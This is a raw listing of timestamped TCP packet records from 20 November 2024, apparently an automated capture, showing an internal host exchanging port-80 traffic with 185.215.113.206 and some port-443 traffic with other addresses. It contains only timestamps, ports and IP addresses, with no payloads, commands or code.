Nov 20, 2024 00:19:24.685961962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.685982943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.685997009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686017036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686038017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686050892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686067104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686090946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686099052 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686105013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686132908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686132908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686158895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686167002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686186075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686198950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686233044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686259985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686265945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686291933 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686300039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686332941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686336040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686355114 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686367989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686381102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686412096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686450005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686484098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686497927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686517000 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686527967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686551094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686577082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686584949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686618090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686623096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686650991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686665058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686685085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686705112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686713934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686748028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686752081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686781883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686784029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686815977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686816931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686836004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686852932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686867952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686888933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.686899900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.686943054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.687643051 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.687676907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.687711954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.687731981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.687740088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.687784910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.687819958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.687854052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.687872887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.687901020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.687907934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.687942028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.687943935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.687968969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.687975883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.687994003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.688009977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.688043118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.688061953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.688076019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.688110113 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.688112020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.688144922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.688150883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.688178062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.688179016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.688205957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.688230038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.699496031 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.699516058 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.699553013 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.699599028 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.699614048 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.699660063 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.699660063 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.702140093 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.702157021 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.702224016 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.702231884 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.702316999 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.702316999 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.715375900 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.715399981 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.715452909 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.715475082 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.715492010 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.715516090 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.715548038 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.715614080 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.715712070 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.715723991 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.717999935 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.718019009 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.718039036 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.718080997 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.718085051 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.718105078 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.718122005 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.718127966 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.718153000 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.718169928 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.718178988 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.732568026 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.732599020 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.732640982 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.732657909 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.732671022 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.733115911 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.733124018 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.733138084 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.733144999 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.733170033 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.733176947 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.733210087 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.733988047 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.734005928 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.734034061 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.734039068 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.734050989 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.734107018 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.735009909 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.735023975 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.735105991 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.735105991 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.735121965 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.735937119 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.735955000 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.736012936 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.736021042 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.736033916 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.737087965 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.737103939 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.737185955 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.737194061 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.737962008 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.737978935 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.738032103 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.738043070 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.773222923 CET	443	62073	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.774732113 CET	62073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.774749041 CET	443	62073	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.775669098 CET	62073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.775675058 CET	443	62073	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.776427031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.776460886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.776494980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.776513100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.776514053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.776565075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.776603937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.776607990 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.776627064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.776648045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.776654959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.776690960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.776705027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.776725054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.776732922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.776770115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.776774883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.776829004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.776832104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.776865959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.776880026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.776916981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.776969910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.776973009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777013063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777020931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777055979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777060032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777090073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777124882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777128935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777157068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777168036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777192116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777199030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777225018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777268887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777268887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777312994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777318954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777354956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777364016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777404070 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777406931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777460098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777489901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777506113 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777537107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777539968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777580976 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777589083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777621984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777631998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777656078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777677059 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777688026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777704000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777721882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777733088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777765989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777772903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777806997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777844906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777858973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777899027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777909040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777947903 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.777957916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.777992964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778024912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778058052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778059006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778086901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778091908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778126001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778126955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778160095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778166056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778182030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778213978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778215885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778249979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778260946 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778301954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778347015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778352976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778402090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778409004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778446913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778458118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778503895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778512001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778558969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778563976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778614998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778661013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778664112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778711081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778717041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778748989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778754950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778793097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778800964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778836966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778877020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778886080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778919935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778954029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.778964996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.778996944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779009104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779032946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779079914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779084921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779119968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779145956 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779153109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779181004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779189110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779198885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779222012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779232025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779258013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779264927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779305935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779306889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779361010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779594898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779627085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779649973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779663086 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779664993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779678106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779704094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779712915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779722929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779747009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779752970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779779911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779793024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779822111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779828072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779830933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779850006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779856920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779880047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779912949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779925108 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779947996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779953957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.779983044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.779995918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780019045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780021906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780052900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780056953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780088902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780093908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780121088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780134916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780155897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780170918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780184984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780203104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780219078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780246019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780253887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780263901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780287981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780298948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780322075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780337095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780360937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780369043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780402899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780407906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780442953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780448914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780477047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780489922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780514002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780527115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780559063 CET	80	49762	185.215.113.206	192.168.2.5
